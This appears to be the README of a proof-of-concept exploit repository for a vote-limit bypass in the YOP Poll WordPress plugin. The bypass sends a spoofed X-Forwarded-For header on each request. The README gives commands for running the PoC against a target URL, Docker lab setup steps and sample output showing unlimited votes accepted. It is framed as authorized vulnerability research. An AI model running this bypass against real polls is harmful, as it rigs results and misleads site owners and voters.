nullwhisper/cve-2026-14840Proof-of-concept exploit for a WordPress plugin vote-limit bypass using spoofed X-Forwarded-For headers; ships a Docker lab to validate CVE-2026-14840 on authorized WordPress instances.
Author: nullwhisper
Use case: authorized security research / vulnerability validation only.
YOP Poll plugin versions < 7.0.6 enforce a one-vote-per-IP limit. The problem
is that to obtain the client IP it checks HTTP_CLIENT_IP and
HTTP_X_FORWARDED_FOR before REMOTE_ADDR. Both headers are attacker-
controlled, so an unauthenticated user can spoof a new IP on every request and
cast unlimited votes.
.
├── cve_2026_14840_poc.py # Main PoC
├── lab/
│ ├── docker-compose.yml # WordPress lab
│ └── setup.php # Creates a poll + public test page
├── requirements.txt
└── README.md
pip3 install -r requirements.txt
python3 cve_2026_14840_poc.py -u https://target.com/page-with-poll -n 10
-n is the number of votes to cast. If more than one is accepted, the target
is vulnerable.
The script automatically falls back to ?rest_route=/yop-poll/v1/votes when the
site uses WordPress plain permalinks and /wp-json/... returns HTML.
Download the vulnerable plugin (do not redistribute the plugin binary):
mkdir -p lab/yop-poll
cd lab/yop-poll
wget https://downloads.wordpress.org/plugin/yop-poll.7.0.5.zip
unzip yop-poll.7.0.5.zip && rm yop-poll.7.0.5.zip
cd ../..
Start the lab:
cd lab
docker compose up -d
Complete the WordPress installer at http://127.0.0.1:8090.
Create the poll and test page:
docker exec -i lab-wpcli-1 php /tmp/setup.php
Run the PoC:
python3 cve_2026_14840_poc.py -u 'http://127.0.0.1:8090/?page_id=4' -n 5
Tested on WordPress 6.8 + YOP Poll 7.0.5 with default plain permalinks.
Same IP three times — limit works:
#1 201 -> Vote recorded successfully.
#2 403 -> You have already voted on this poll.
#3 403 -> You have already voted on this poll.
Different IP on every request via X-Forwarded-For — bypass works:
#1 201 -> Vote recorded successfully.
#2 201 -> Vote recorded successfully.
#3 201 -> Vote recorded successfully.
The wp_yoppoll_votes table grows by one row per spoofed IP, confirming the
per-IP limit is bypassed.
This repo contains only the PoC and lab orchestration files. The YOP Poll plugin is GPL-2.0+, but distributing a full copy is unnecessary, bloats the repo, and can cause issues. Download version 7.0.5 from WordPress.org for your own lab.
This tool is for authorized security testing and research only. Do not use it against systems you do not own or do not have explicit permission to test. The author is not responsible for misuse or damage caused by this code.